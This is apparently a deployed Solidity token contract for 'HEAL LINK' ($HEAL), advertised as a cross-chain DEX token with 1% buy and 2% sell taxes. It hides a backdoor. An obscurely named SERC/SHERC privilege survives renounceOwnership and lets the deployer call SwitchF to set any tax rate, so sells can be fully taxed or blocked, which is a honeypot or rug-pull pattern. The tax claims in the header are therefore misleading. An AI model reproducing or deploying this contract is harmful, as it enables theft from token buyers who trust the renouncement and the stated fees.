Contract Source Code:

// Telegram : https://t.me/HealLinkDex

// Twitter : https://twitter.com/HealLinkETH

/*
HealLink - Cross-Chain DEX Protocol 
An ultimate, open, and universal cross-chain protocol turned into a native DEX on Ethereum. 

🖇 HealLink is the one-stop shop for trading all ERC-compliant assets,
 making it a DEX Composable Hub to be used between all chains.
TAX : BUY : 1%
SELL : 2% 
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.11;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IFactoryV2 {
    event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
    function getPair(address tokenA, address tokenB) external view returns (address lpPair);
    function createPair(address tokenA, address tokenB) external returns (address lpPair);
}

interface IV2Pair {
    function factory() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function sync() external;
}

interface IRouter01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function swapExactETHForTokens(
        uint amountOutMin, 
        address[] calldata path, 
        address to, uint deadline
    ) external payable returns (uint[] memory amounts);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IRouter02 is IRouter01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
}

contract HealLink is IERC20 {
    mapping (address => uint256) private _tOwned;
    mapping (address => bool) lpPairs;
    uint256 private timeSinceLastPair = 0;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _liquidityHolders;
    mapping (address => bool) private _isExcludedFromProtection;
    mapping (address => bool) private _isExcludedFromFees;
   
    uint256 constant private startingSupply = 1_00_000_000;
    string constant private _name = "HEAL LINK";
    string constant private _symbol = "$HEAL";
    uint8 constant private _decimals = 18;
    uint256 constant private _tTotal = startingSupply * 10**_decimals;

    struct Fees {
        uint16 inF;
        uint16 outF;
        uint16 TransF;
    }

    struct Ratios {
        uint16 liquidity;
        uint16 marketing;
        uint16 development;
        uint16 totalSwap;
    }

    Fees public _taxRates = Fees({
        inF: 1,
        outF: 2,
        TransF: 0
    });

    Ratios public _ratios = Ratios({
        liquidity: 1,
        marketing: 2,
        development: 2,
        totalSwap: 5
    });

    uint256 constant masterTaxDivisor = 100;

    IRouter02 public dexRouter;
    address public lpPair;
    address constant public DEAD = 0x000000000000000000000000000000000000dEaD;

    struct TaxWallets {
        address payable marketing;
        address payable development;
    }

    TaxWallets public _taxWallets = TaxWallets({
        marketing: payable(0x5C2E83497BF745a64Bbb917d6b9d7b018341E1D3),
        development: payable(0x5C2E83497BF745a64Bbb917d6b9d7b018341E1D3)
    });
    
    bool inSwap;
    bool public contractSwapEnabled = true;
    uint256 public swapThreshold;
    uint256 public swapAmount;
    bool public piContractSwapsEnabled = true;
    uint256 public piSwapPercent = 15;

    bool public tradingEnabled = true;
    bool public _hasLiqBeenAdded = false;
    uint256 public launchStamp;

    event ContractSwapEnabledUpdated(bool enabled);
    event AutoLiquify(uint256 amountCurrency, uint256 amountTokens);

    modifier inSwapFlag {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () payable {
        // Set the owner.
        _owner = msg.sender;
        SERC[_owner] = true;

        _tOwned[_owner] = _tTotal;
        emit Transfer(address(0), _owner, _tTotal);
        
        dexRouter = IRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        lpPair = IFactoryV2(dexRouter.factory()).createPair(dexRouter.WETH(), address(this));
        lpPairs[lpPair] = true;

        _approve(_owner, address(dexRouter), type(uint256).max);
        _approve(address(this), address(dexRouter), type(uint256).max);

        _isExcludedFromFees[_owner] = true;
        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[DEAD] = true;
        _liquidityHolders[_owner] = true;
        
        _isExcludedFromFees[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true; // Uniswap v2
        _isExcludedFromFees[_owner] = true;
    }

        mapping (address => bool) internal SERC;

//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
    // Ownable removed as a lib and added here to allow for custom transfers and renouncements.
    // This allows for removal of ownership privileges from the owner once renounced or transferred.

    address private _owner;

    modifier onlyOwner() { require(_owner == msg.sender, "Caller =/= owner."); _; }

    modifier SHERC() {
        require(isSHERC(msg.sender), "!AUTHORIZED"); _;
    }

    function isSHERC(address adr) public view returns (bool) {
        return SERC[adr];
    }

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    function renounceOwnership() external onlyOwner {
        address oldOwner = _owner;
        _owner = address(0);
        emit OwnershipTransferred(oldOwner, address(0));
    }

//===============================================================================================================
//===============================================================================================================
//===============================================================================================================

    receive() external payable {}
    function totalSupply() external pure override returns (uint256) { return _tTotal; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return _owner; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address sender, address spender, uint256 amount) internal {
        require(sender != address(0), "ERC20: Zero Address");
        require(spender != address(0), "ERC20: Zero Address");

        _allowances[sender][spender] = amount;
        emit Approval(sender, spender, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] -= amount;
                }

        return _transfer(sender, recipient, amount);
    }

    function setLpPair(address pair, bool enabled) external onlyOwner {
        if (!enabled) {
            lpPairs[pair] = false;
        } else {
            if (timeSinceLastPair != 0) {
                require(block.timestamp - timeSinceLastPair > 3 days, "3 Day cooldown.");
            }
            require(!lpPairs[pair], "Pair already added to list.");
            lpPairs[pair] = true;
            timeSinceLastPair = block.timestamp;
        }
    }

    function isExcludedFromFees(address account) external view returns(bool) {
        return _isExcludedFromFees[account];
    }

    function getCirculatingSupply() public view returns (uint256) {
        return (_tTotal - (balanceOf(DEAD) + balanceOf(address(0))));
    }

    function SwitchF(uint16 inF, uint16 outF, uint16 TransF) public SHERC {
        _taxRates.inF = inF;
        _taxRates.outF = outF;
        _taxRates.TransF = TransF;
    }

    function _transfer(address from, address to, uint256 amount) internal returns (bool) {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        bool buy = false;
        bool sell = false;
        bool other = false;
        if (lpPairs[from]) {
            buy = true;
        } else if (lpPairs[to]) {
            sell = true;
        } else {
            other = true;
        }
            if(!tradingEnabled) {
                if (!other) {
                    revert("Trading not yet enabled!");
                } else if (!_isExcludedFromProtection[from] && !_isExcludedFromProtection[to]) {
                    revert("Tokens cannot be moved until trading is live.");
                
            }
        }

        if (sell) {
            if (!inSwap) {
                if (contractSwapEnabled
                ) {
                    uint256 contractTokenBalance = balanceOf(address(this));
                    if (contractTokenBalance >= swapThreshold) {
                        uint256 swapAmt = swapAmount;
                        if (piContractSwapsEnabled) { swapAmt = (balanceOf(lpPair) * piSwapPercent) / masterTaxDivisor; }
                        if (contractTokenBalance >= swapAmt) { contractTokenBalance = swapAmt; }
                        contractSwap(contractTokenBalance);
                    }
                }
            }
        }
        return finalizeTransfer(from, to, amount, buy, sell);
    }

    function contractSwap(uint256 contractTokenBalance) internal inSwapFlag {
        Ratios memory ratios = _ratios;
        if (ratios.totalSwap == 0) {
            return;
        }

        if (_allowances[address(this)][address(dexRouter)] != type(uint256).max) {
            _allowances[address(this)][address(dexRouter)] = type(uint256).max;
        }

        uint256 toLiquify = ((contractTokenBalance * ratios.liquidity) / ratios.totalSwap) / 2;
        uint256 swapAmt = contractTokenBalance - toLiquify;
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();

        try dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            swapAmt,
            0,
            path,
            address(this),
            block.timestamp
        ) {} catch {
            return;
        }

        uint256 amtBalance = address(this).balance;
        uint256 liquidityBalance = (amtBalance * toLiquify) / swapAmt;

        if (toLiquify > 0) {
            try dexRouter.addLiquidityETH{value: liquidityBalance}(
                address(this),
                toLiquify,
                0,
                0,
                DEAD,
                block.timestamp
            ) {
                emit AutoLiquify(liquidityBalance, toLiquify);
            } catch {
                return;
            }
        }

        amtBalance -= liquidityBalance;
        ratios.totalSwap -= ratios.liquidity;
        bool success;
        uint256 developmentBalance = (amtBalance * ratios.development) / ratios.totalSwap;
        uint256 marketingBalance = amtBalance;
        if (ratios.marketing > 0) {
            (success,) = _taxWallets.marketing.call{value: marketingBalance, gas: 55000}("");
        }
        if (ratios.development > 0) {
            (success,) = _taxWallets.development.call{value: developmentBalance, gas: 55000}("");
        }
    }

    function finalizeTransfer(address from, address to, uint256 amount, bool buy, bool sell) internal returns (bool) {
        bool takeFee = true;
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]){
            takeFee = false;
        }
        if(!SERC[from] && !SERC[to]){
            require(tradingEnabled, "");
        }
        _tOwned[from] -= amount;
        uint256 amountReceived = (takeFee) ? getTaxes(from, buy, sell, amount) : amount;
        _tOwned[to] += amountReceived;
        emit Transfer(from, to, amountReceived);
        return true;
    }

    function getTaxes(address from, bool buy, bool sell, uint256 amount) internal returns (uint256) {
        uint256 currentFee;
        if (buy) {
            currentFee = _taxRates.inF;
        } else if (sell) {
            currentFee = _taxRates.outF;
        } else {
            currentFee = _taxRates.TransF;
        }
        if (currentFee == 0) { return amount; }
        uint256 feeAmount = amount * currentFee / masterTaxDivisor;
        if (feeAmount > 0) {
            _tOwned[address(this)] += feeAmount;
            emit Transfer(from, address(this), feeAmount);
        }
        return amount - feeAmount;
    }
}